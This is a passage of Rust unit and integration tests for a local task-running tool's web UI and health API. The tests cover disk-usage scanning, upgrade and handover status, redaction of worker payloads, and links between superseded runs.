22886        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22887        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22888    }
22889
22890    #[tokio::test]
22891    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22892        let home = TempDir::new().unwrap();
22893        let old_scope = disk_test_scope(home.path());
22894        let mut new_scope = old_scope.clone();
22895        new_scope.cache = Some(home.path().join("replacement-cache"));
22896        let state = Arc::new(Mutex::new(DiskObservation {
22897            scope: Some(old_scope.clone()),
22898            capacity: known_disk_capacity(),
22899            ..Default::default()
22900        }));
22901        let (started, reached) = tokio::sync::oneshot::channel();
22902        let (release, blocked) = std::sync::mpsc::channel();
22903        DiskObservation::observe(&state, old_scope, move |_| {
22904            started.send(()).unwrap();
22905            blocked.recv().unwrap();
22906            known_disk_capacity()
22907        });
22908        tokio::time::timeout(Duration::from_secs(5), reached)
22909            .await
22910            .unwrap()
22911            .unwrap();
22912        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22913        let scans = duplicate_scans.clone();
22914        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22915            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22916            DiskCapacity::default()
22917        });
22918        assert!(changed.cache_bytes.is_none());
22919        assert!(changed.runs_bytes.is_none());
22920        release.send(()).unwrap();
22921        wait_for_disk_scan(&state).await;
22922        {
22923            let observation = state.lock().unwrap();
22924            assert!(observation.capacity.cache_bytes.is_none());
22925            assert!(observation.finished.is_none());
22926        }
22927        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22928            assert_eq!(scope, &new_scope);
22929            DiskCapacity {
22930                cache_bytes: Some(999),
22931                ..Default::default()
22932            }
22933        });
22934        wait_for_disk_scan(&state).await;
22935        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22936        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22937    }
22938
22939    #[tokio::test]
22940    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22941        let home = TempDir::new().unwrap();
22942        let scope = disk_test_scope(home.path());
22943        let state = Arc::new(Mutex::new(DiskObservation {
22944            scope: Some(scope.clone()),
22945            capacity: known_disk_capacity(),
22946            ..Default::default()
22947        }));
22948        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22949        wait_for_disk_scan(&state).await;
22950        {
22951            let mut observation = state.lock().unwrap();
22952            assert_eq!(observation.capacity.cache_bytes, Some(400));
22953            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22954            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22955        }
22956        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22957            cache_bytes: Some(450),
22958            ..Default::default()
22959        });
22960        wait_for_disk_scan(&state).await;
22961        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22962    }
22963
22964    #[test]
22965    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22966        let home = TempDir::new().unwrap();
22967        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22968        assert_eq!(disk_capacity_size(home.path()), Some(0));
22969        std::fs::create_dir(home.path().join("nested")).unwrap();
22970        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22971        assert_eq!(disk_capacity_size(home.path()), Some(5));
22972        #[cfg(unix)]
22973        {
22974            // Unix distinguishes an invalid descendant lookup from absence.
22975            assert_eq!(
22976                disk_capacity_size(&home.path().join("nested/data/child")),
22977                None
22978            );
22979        }
22980        #[cfg(unix)]
22981        {
22982            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22983            assert_eq!(disk_capacity_size(home.path()), Some(5));
22984        }
22985    }
22986
22987    #[tokio::test]
22988    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22989        // `mode = "off"` for the same reason as the test above: a default
22990        // fixture repo falls back to `mode = "notify"`, which would make this
22991        // route's new `update` field a live, unauthenticated GitHub call on
22992        // every assertion in this suite that happens to hit `/api/health`.
22993        let repo = TempDir::new().expect("repo dir");
22994        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22995            .expect("write magi.toml");
22996        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22997
22998        let health = fx.get("/api/health").await.json();
22999        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23000        assert_eq!(
23001            health["update"]["available"], false,
23002            "checking is off, which reads as \"unknown\", not \"none\""
23003        );
23004        assert!(health["update"]["to"].is_null());
23005        assert!(
23006            health["upgrade"].is_null(),
23007            "nothing has ever asked this deck to upgrade"
23008        );
23009    }
23010
23011    #[tokio::test]
23012    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23013        let fx = Fixture::start().await;
23014        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23015
23016        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23017        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23018        progress.advance(crate::updater::Stage::Parking);
23019        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23020
23021        let health = fx.get("/api/health").await.json();
23022        assert_eq!(health["upgrade"]["stage"], "parking");
23023        assert_eq!(health["upgrade"]["from"], "0.5.1");
23024        assert_eq!(health["upgrade"]["to"], "0.5.2");
23025        let waiting_on = health["upgrade"]["waiting_on"]
23026            .as_str()
23027            .expect("waiting_on is set while parking a known run");
23028        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23029        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23030    }
23031
23032    #[tokio::test]
23033    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23034        let fx = Fixture::start().await;
23035        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23036        progress.advance(crate::updater::Stage::Done);
23037        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23038
23039        let health = fx.get("/api/health").await.json();
23040        assert_eq!(health["upgrade"]["stage"], "done");
23041        assert!(
23042            health["upgrade"]["waiting_on"].is_null(),
23043            "nothing to wait on once it is done"
23044        );
23045    }
23046
23047    /// The handover signal is seen however the race falls, and wakes its one
23048    /// waiter once per signal - nothing here can spin.
23049    #[tokio::test]
23050    async fn the_handover_signal_wakes_one_waiter_once() {
23051        let signal = Notify::new();
23052        // Signalled before anyone waits: the stored permit is not lost.
23053        signal.notify_one();
23054        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23055            .await
23056            .expect("an early signal is still seen");
23057        // One signal, one wake-up: a second wait does not resolve by itself.
23058        assert!(
23059            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23060                .await
23061                .is_err(),
23062            "a consumed signal must not wake a second time"
23063        );
23064        // Signalled while waiting.
23065        let signal = std::sync::Arc::new(signal);
23066        let waiter = tokio::spawn({
23067            let signal = std::sync::Arc::clone(&signal);
23068            async move { wait_for_handover(&signal).await }
23069        });
23070        tokio::time::sleep(Duration::from_millis(20)).await;
23071        assert!(!waiter.is_finished(), "nothing was signalled yet");
23072        signal.notify_one();
23073        tokio::time::timeout(Duration::from_secs(5), waiter)
23074            .await
23075            .expect("a late signal wakes the waiter")
23076            .expect("join");
23077    }
23078
23079    #[tokio::test]
23080    async fn health_says_how_long_a_handover_has_been_stuck() {
23081        let fx = Fixture::start().await;
23082        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23083        progress.advance(crate::updater::Stage::Replaced);
23084        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23085        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23086
23087        let health = fx.get("/api/health").await.json();
23088        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23089        assert!(stuck >= 600, "{stuck}");
23090        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23091        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23092    }
23093
23094    #[tokio::test]
23095    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23096        let home = tempfile::tempdir().expect("temp home");
23097        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23098        progress.advance(crate::updater::Stage::Parking);
23099        crate::updater::write_progress(home.path(), &progress).expect("seed");
23100        // What the second upgrade_and_restart and its handler do.
23101        let mut again = progress.clone();
23102        again.advance(crate::updater::Stage::Replaced);
23103        crate::updater::write_progress(home.path(), &again).expect("replaced");
23104        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23105        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23106        let after = crate::updater::read_progress(home.path()).expect("record");
23107        assert_eq!(after.stage, crate::updater::Stage::Parking);
23108    }
23109
23110    #[tokio::test]
23111    async fn health_does_not_call_a_live_parking_wait_stuck() {
23112        let fx = Fixture::start().await;
23113        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23114        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23115        progress.advance(crate::updater::Stage::Parking);
23116        let hours = Duration::from_secs(3 * 3600);
23117        progress.started_at = Timestamp::now() - hours;
23118        progress.updated_at = Timestamp::now() - hours;
23119        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23120        let _lease = crate::updater::LeaseGuard::enter(
23121            fx.home.path(),
23122            Some("20260905-000000-cd51".to_owned()),
23123        );
23124
23125        let health = fx.get("/api/health").await.json();
23126        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23127        assert!(health["upgrade"]["stuck_kind"].is_null());
23128        assert_eq!(health["upgrade"]["handover_alive"], true);
23129        let waiting_on = health["upgrade"]["waiting_on"]
23130            .as_str()
23131            .expect("waiting_on");
23132        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23133    }
23134
23135    fn idle_ui(home: &TempDir) -> Ui {
23136        let runs = home.path().join("runs");
23137        std::fs::create_dir_all(&runs).expect("runs dir");
23138        Ui::new(
23139            Queue::at(home.path().join("queue")),
23140            Questions::at(home.path().join("questions")),
23141            Talks::at(home.path().join("talks")),
23142            runs,
23143            home.path().to_path_buf(),
23144            PathBuf::from("/repo/magi"),
23145        )
23146        .with_launch(launch_idle)
23147    }
23148
23149    #[tokio::test]
23150    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23151        let home = TempDir::new().expect("temp home");
23152        let ui = idle_ui(&home);
23153        let lease = crate::worker::try_lease(home.path(), "scheduler")
23154            .expect("scheduler lease")
23155            .expect("free");
23156        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23157            .expect("request stop");
23158        let error = ui
23159            .start_detached_loop()
23160            .await
23161            .expect_err("transition is still live");
23162        assert_eq!(error.status, StatusCode::CONFLICT);
23163        assert!(error.message.contains("still running or stopping"));
23164        assert_eq!(
23165            crate::worker::control(home.path(), "scheduler").unwrap(),
23166            Some(crate::worker::Control::Stop)
23167        );
23168        drop(lease);
23169    }
23170
23171    #[tokio::test]
23172    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23173        let home = TempDir::new().expect("temp home");
23174        let ui = idle_ui(&home);
23175        let turns = ui
23176            .begin_talk_turn("active-chat")
23177            .expect("claim")
23178            .expect("free");
23179        let execution = crate::worker::try_lease(home.path(), "active-task")
23180            .expect("execution lease")
23181            .expect("free");
23182        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23183            .await
23184            .expect("bind loopback");
23185        let address = listener.local_addr().expect("address");
23186        let admissions = Arc::clone(&ui.admissions);
23187        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23188        let successor_started = std::sync::atomic::AtomicBool::new(false);
23189        tokio::time::timeout(
23190            Duration::from_secs(2),
23191            hand_over(home.path(), &admissions, served, || {
23192                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23193                Ok(1)
23194            }),
23195        )
23196        .await
23197        .expect("restart must not wait for execution")
23198        .expect("handover");
23199        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23200        // BSD may retain the address briefly after listener release. The real
23201        // successor uses the same bounded bind retry rather than a one-shot bind.
23202        let successor = bind_waiting(address)
23203            .await
23204            .expect("successor binds released address");
23205        assert_eq!(successor.local_addr().unwrap(), address);
23206        assert!(turns.owns(), "the chat lease survives restart");
23207        assert!(
23208            crate::worker::try_lease(home.path(), "active-task")
23209                .unwrap()
23210                .is_none()
23211        );
23212        drop(execution);
23213        drop(turns);
23214    }
23215
23216    #[tokio::test]
23217    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23218        let home = TempDir::new().expect("temp home");
23219        let ui = idle_ui(&home);
23220        let admission = ui.begin_admission().expect("admit send");
23221        let turn = ui
23222            .begin_talk_turn("active-chat")
23223            .expect("claim")
23224            .expect("free");
23225        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23226            .await
23227            .expect("bind loopback");
23228        let address = listener.local_addr().expect("address");
23229        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23230        let successor_called = std::sync::atomic::AtomicBool::new(false);
23231        let handover = hand_over(home.path(), &ui.admissions, served, || {
23232            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23233            Ok(1)
23234        });
23235        tokio::pin!(handover);
23236        // Poll exactly to the writer waiting on our admission guard. This
23237        // pins the race without sleeps or assumptions about task scheduling.
23238        std::future::poll_fn(|cx| {
23239            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23240            std::task::Poll::Ready(())
23241        })
23242        .await;
23243        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23244        assert!(
23245            ui.begin_admission().is_err(),
23246            "new ingress cannot race the drain"
23247        );
23248        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23249        drop(admission);
23250        tokio::time::timeout(Duration::from_secs(2), handover)
23251            .await
23252            .expect("only publication may delay restart")
23253            .expect("handover");
23254        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23255        assert!(
23256            turn.owns(),
23257            "the detached chat turn is not awaited or cancelled"
23258        );
23259        assert!(
23260            ui.begin_admission().is_err(),
23261            "old accepted connections stay closed"
23262        );
23263        drop(turn);
23264    }
23265
23266    #[test]
23267    fn health_worker_metadata_never_contains_payload_or_result() {
23268        let view = WorkerView::from(crate::worker::Job {
23269            id: "job".into(),
23270            sequence: 1,
23271            kind: "service".into(),
23272            key: "maintenance".into(),
23273            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23274            generation: "generation".into(),
23275            version: Some("1.2.3".into()),
23276            status: crate::worker::Status::Running,
23277            result: Some("private diagnostics".into()),
23278            pid: Some(4242),
23279            created_at: 1,
23280            finished_at: None,
23281        });
23282        let value = serde_json::to_value(view).expect("serialize public metadata");
23283        assert_eq!(value["version"], "1.2.3");
23284        assert_eq!(value["pid"], 4242);
23285        assert!(value.get("payload").is_none());
23286        assert!(value.get("result").is_none());
23287        assert!(!value.to_string().contains("private"));
23288    }
23289
23290    #[test]
23291    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23292        let home = TempDir::new().expect("temp home");
23293        let ui = idle_ui(&home);
23294        std::fs::write(
23295            home.path().join("daemon.json"),
23296            serde_json::json!({
23297                "schema": 2, "pid": 4242, "worker_protocol": 1,
23298                "updated_at": Timestamp::now().to_string(), "idle": true,
23299            })
23300            .to_string(),
23301        )
23302        .expect("status");
23303        let reading = daemon::read_status(home.path());
23304        assert!(Foreign::of(reading.as_ref()).is_none());
23305        let view = ui.runtime_loop_view(reading, &[]);
23306        assert!(view.running);
23307        assert!(view.owned);
23308    }
23309
23310    #[test]
23311    fn only_an_explicit_one_requests_a_resume() {
23312        assert!(!resume_requested(None));
23313        assert!(!resume_requested(Some("0".into())));
23314        assert!(!resume_requested(Some("".into())));
23315        assert!(resume_requested(Some("1".into())));
23316    }
23317
23318    #[test]
23319    fn an_error_is_visible_from_where_the_button_is() {
23320        // The alert used to sit in the flow under the header. On a phone
23321        // scrolled 13 500 px down to a run's action sheet that is off screen,
23322        // so tapping Resume and being told "the loop is running run b455
23323        // right now" looked exactly like a button that did nothing.
23324        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23325            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23326        assert!(
23327            alert.contains("position: fixed"),
23328            "an error about the thing under your thumb has to be visible from \
23329             where your thumb is: {alert}"
23330        );
23331        assert!(
23332            alert.contains("z-index: 25"),
23333            "above the dock (20) and the run-actions FAB (15), so neither \
23334             buries it: {alert}"
23335        );
23336        assert!(
23337            alert.contains("var(--tap)"),
23338            "and clear of the dock and the home indicator: {alert}"
23339        );
23340        // The FAB sits at the same height on the right. An error that covered
23341        // it would hide the button the operator reaches for next.
23342        assert!(
23343            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23344            "the FAB's column stays free: {alert}"
23345        );
23346    }
23347
23348    #[tokio::test]
23349    async fn an_older_attempt_says_what_replaced_it() {
23350        let fx = Fixture::start().await;
23351        let q = fx.queue();
23352        let runs = fx.runs();
23353        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23354        write_run(&runs, first, RunStatus::Stalled);
23355        write_run(&runs, second, RunStatus::Blocked);
23356
23357        let mut t = Task::new(
23358            "one task".to_owned(),
23359            "do it".to_owned(),
23360            PathBuf::from("/repo"),
23361            Source::Human,
23362        );
23363        t.runs = vec![first.to_owned(), second.to_owned()];
23364        q.put(&mut t).expect("put");
23365
23366        // Two cards with the same title and no hint which is which was the
23367        // question: "why are there two of the same, one stalled and one
23368        // blocked?" The older one now names its replacement.
23369        let rows = fx.get("/api/runs").await.json();
23370        let by = |short: &str| -> Value {
23371            rows.as_array()
23372                .unwrap()
23373                .iter()
23374                .find(|r| r["short"] == short)
23375                .cloned()
23376                .unwrap_or(Value::Null)
23377        };
23378        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23379        assert!(
23380            by("bbbb")["superseded_by"].is_null(),
23381            "the latest attempt is not superseded by anything"
23382        );
23383        // Front end: the note has to be rendered, not just carried.
23384        assert!(APP_JS.contains("run.superseded_by"));
23385        assert!(APP_JS.contains("Superseded by"));
23386    }
23387
23388    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23389        let mut t = Task::new(
23390            "one task".to_owned(),
23391            "do it".to_owned(),
23392            PathBuf::from("/repo"),
23393            Source::Human,
23394        );
23395        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23396        t.status = status;
23397        t
23398    }
23399
23400    #[test]
23401    fn source_link_picks_the_page_that_filed_the_task() {
23402        let agent = |node: &str| Source::Agent {
23403            run: "20260904-014455-ab12".to_owned(),
23404            node: node.to_owned(),
23405        };
23406        let chat = source_link(&agent("chat")).expect("chat link");
23407        assert_eq!(chat.kind, "chat");
23408        assert_eq!(chat.id, "20260904-014455-ab12");
23409        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23410        let run = source_link(&agent("implement")).expect("run link");
23411        assert_eq!(
23412            (run.kind, run.href.as_str()),
23413            ("run", "#/runs/20260904-014455-ab12")
23414        );
23415        assert_eq!(source_link(&Source::Human), None);
23416        assert_eq!(
23417            source_link(&Source::Issue {
23418                number: 3,
23419                repo: "o/r".to_owned()
23420            }),
23421            None
23422        );
23423        let odd = source_link(&Source::Agent {
23424            run: "a b/c".to_owned(),
23425            node: "chat".to_owned(),
23426        })
23427        .expect("link");
23428        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23429    }
23430
23431    #[test]
23432    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23433        assert!(
23434            !APP_JS.contains("src.node === \"chat\""),
23435            "inline href rule is back"
23436        );
23437        assert!(
23438            APP_JS.matches("sourceLinkOf(").count() >= 4,
23439            "helper must serve every page"
23440        );
23441        assert!(
23442            APP_JS.matches("openChatLink(").count() >= 3,
23443            "the run page still needs its explicit chat link"
23444        );
23445        assert!(
23446            !APP_JS.contains("const openChat = el("),
23447            "the Queue card duplicates its source label link again"
23448        );
23449        assert!(
23450            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23451            "the task page must link a chat source label too"
23452        );
23453    }
23454
23455    #[test]
23456    fn task_ref_carries_the_source_link_for_a_chat_task() {
23457        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23458        t.source = Source::Agent {
23459            run: "20260904-014455-ab12".to_owned(),
23460            node: "chat".to_owned(),
23461        };
23462        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23463        let v = serde_json::to_value(&out).expect("json");
23464        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23465        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23466        assert_eq!(v["source_label"], t.source.label());
23467
23468        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23469        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23470            .expect("json");
23471        assert!(v["source_link"].is_null(), "{v}");
23472    }
23473
23474    #[test]
23475    fn task_view_serializes_source_link() {
23476        let mut t = Task::new(
23477            "t".to_owned(),
23478            "t".to_owned(),
23479            PathBuf::from("/repo"),
23480            Source::Agent {
23481                run: "20260901-000000-aaaa".to_owned(),
23482                node: "implement".to_owned(),
23483            },
23484        );
23485        t.runs.clear();
23486        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23487        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23488        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23489    }
23490
23491    #[test]
23492    fn task_view_serializes_urgent_flag() {
23493        let mut t = Task::new(
23494            "t".to_owned(),
23495            "t".to_owned(),
23496            PathBuf::from("/repo"),
23497            Source::Human,
23498        );
23499        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23500        assert_eq!(v["urgent"], false, "{v}");
23501        t.urgent = true;
23502        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23503        assert_eq!(v["urgent"], true, "{v}");
23504        assert!(APP_JS.contains("task.urgent === true"));
23505    }
23506
23507    #[tokio::test]
23508    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23509        let fx = Fixture::start().await;
23510        let runs = fx.runs();
23511        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23512        write_run(&runs, old, RunStatus::Blocked);
23513        write_run(&runs, new, RunStatus::Merged);
23514        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23515        fx.queue().put(&mut t).expect("put");
23516
23517        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23518        let task = &view["task"];
23519        assert_eq!(task["status"], "done");
23520        assert_eq!(task["is_latest"], false);
23521        assert_eq!(task["latest"]["short"], "bbbb");
23522        assert_eq!(task["finished_by"]["id"], new);
23523        assert_eq!(task["finished_by"]["outcome"], "merged");
23524        assert_eq!(task["closed_by_hand"], false);
23525        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23526        assert!(APP_JS.contains("finished_by"));
23527        assert!(APP_JS.contains("superseded by run"));
23528    }
23529
23530    #[tokio::test]
23531    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23532        let fx = Fixture::start().await;
23533        let runs = fx.runs();
23534        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23535        write_run(&runs, old, RunStatus::Stalled);
23536        write_run(&runs, new, RunStatus::Blocked);
23537        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23538        fx.queue().put(&mut t).expect("put");
23539
23540        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23541        assert_eq!(task["status"], "held");
23542        assert_eq!(task["is_latest"], true);
23543        assert!(task["latest"].is_null());
23544        assert!(task["finished_by"].is_null());
23545        assert_eq!(task["closed_by_hand"], false);
23546    }
23547
23548    #[tokio::test]
23549    async fn a_direct_run_has_no_task_outcome() {
23550        let fx = Fixture::start().await;
23551        let runs = fx.runs();
23552        let id = "20260901-000000-aaaa";
23553        write_run(&runs, id, RunStatus::Blocked);
23554        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23555        assert!(view["task"].is_null());
23556    }
23557
23558    #[test]
23559    fn task_outcome_does_not_guess_a_finishing_run() {
23560        let a = "20260901-000000-aaaa";
23561        let b = "20260901-000000-bbbb";
23562        let c = "20260901-000000-cccc";
23563        let dir = tempfile::tempdir().expect("tempdir");
23564        write_run(dir.path(), a, RunStatus::Blocked);
23565        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23566        // `c` has no record: unreadable.
23567        let read = |id: &str| read_run(dir.path(), id).ok();
23568        // Neither a blocked run nor a no-op finished the task; the newest run is
23569        // unreadable and still named.
23570        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23571        let out = task_outcome(&t, a, 3, read);
23572        assert!(out.finished_by.is_none());
23573        assert!(out.closed_by_hand);
23574        let latest = out.latest.expect("latest");
23575        assert_eq!(latest.id, c);
23576        assert_eq!(latest.status, None);
23577        assert_eq!(latest.outcome, "record unreadable");
23578
23579        // A Ready run settles the task as done, so it is named as the finisher.
23580        write_run(dir.path(), c, RunStatus::Ready);
23581        let t = outcome_task(&[a, c], TaskStatus::Done);
23582        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23583        assert_eq!(out.finished_by.expect("finisher").id, c);
23584        assert!(!out.closed_by_hand);
23585
23586        // A resumed run id repeats: it is still the latest by id.
23587        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23588        assert!(task_outcome(&t, a, 3, read).is_latest);
23589    }
23590
23591    #[tokio::test]
23592    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23593        // The list route has known this since the card fix above; the detail
23594        // route — what an operator actually opens from a notification about
23595        // a blocked run — did not, and went on showing a bare red BLOCKED
23596        // chip for a run a retry had already finished.
23597        let fx = Fixture::start().await;
23598        let q = fx.queue();
23599        let runs = fx.runs();
23600        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23601        write_run(&runs, first, RunStatus::Blocked);
23602        write_run(&runs, second, RunStatus::Merged);
23603
23604        let mut t = Task::new(
23605            "one task".to_owned(),
23606            "do it".to_owned(),
23607            PathBuf::from("/repo"),
23608            Source::Human,
23609        );
23610        t.runs = vec![first.to_owned(), second.to_owned()];
23611        q.put(&mut t).expect("put");
23612
23613        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23614        assert_eq!(earlier["superseded_by"], "dddd");
23615        assert_eq!(earlier["latest_attempt"]["id"], second);
23616        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23617        assert_eq!(
23618            earlier["latest_attempt"]["resolved"], true,
23619            "the run that replaced it landed, so this one reads as settled"
23620        );
23621
23622        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23623        assert!(
23624            later["superseded_by"].is_null(),
23625            "the latest attempt is not superseded by anything"
23626        );
23627        assert!(
23628            later["latest_attempt"].is_null(),
23629            "the latest attempt has no later attempt of its own"
23630        );
23631
23632        // Front end: the detail page has to read the field this route now
23633        // carries, downgrade the chip, and link to the run that replaced it —
23634        // not just repeat the list card's own logic under a different name.
23635        // The link is built off `latest_attempt.id`, the server-resolved
23636        // full id, never a bare short string a client would have to guess a
23637        // full run from.
23638        assert!(APP_JS.contains("run.latest_attempt"));
23639        assert!(APP_JS.contains("data-superseded"));
23640        assert!(APP_JS.contains("#/runs/${latest.id}"));
23641    }
23642
23643    #[tokio::test]
23644    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23645        // A -> B -> C, all Blocked except the last. A's immediate successor
23646        // (superseded_by) is B, which is itself unresolved; what an operator
23647        // opening A's page actually needs is where the task's story stands
23648        // *now* - C, not B - without depending on whether C happens to be in
23649        // whatever page of /api/runs the client last cached.
23650        let fx = Fixture::start().await;
23651        let q = fx.queue();
23652        let runs = fx.runs();
23653        let (a, b, c) = (
23654            "20260901-000000-aaaa",
23655            "20260901-000000-bbbb",
23656            "20260901-000000-cccc",
23657        );
23658        write_run(&runs, a, RunStatus::Blocked);
23659        write_run(&runs, b, RunStatus::Blocked);
23660        write_run(&runs, c, RunStatus::Merged);
23661
23662        let mut t = Task::new(
23663            "retried twice".to_owned(),
23664            "do it".to_owned(),
23665            PathBuf::from("/repo"),
23666            Source::Human,
23667        );
23668        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23669        q.put(&mut t).expect("put");
23670
23671        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23672        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23673        assert_eq!(
23674            view["latest_attempt"]["id"], c,
23675            "the chain's current head, not the intermediate Blocked retry"
23676        );
23677        assert_eq!(view["latest_attempt"]["resolved"], true);
23678
23679        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23680        assert_eq!(mid["latest_attempt"]["id"], c);
23681        assert_eq!(mid["latest_attempt"]["resolved"], true);
23682    }
23683
23684    #[tokio::test]
23685    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23686        let fx = Fixture::start().await;
23687        let q = fx.queue();
23688        let runs = fx.runs();
23689
23690        // Still Blocked: the task is not resolved, so the older run must not
23691        // read as settled either.
23692        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23693        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23694        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23695        let mut t1 = Task::new(
23696            "still stuck".to_owned(),
23697            "do it".to_owned(),
23698            PathBuf::from("/repo"),
23699            Source::Human,
23700        );
23701        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23702        q.put(&mut t1).expect("put");
23703        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
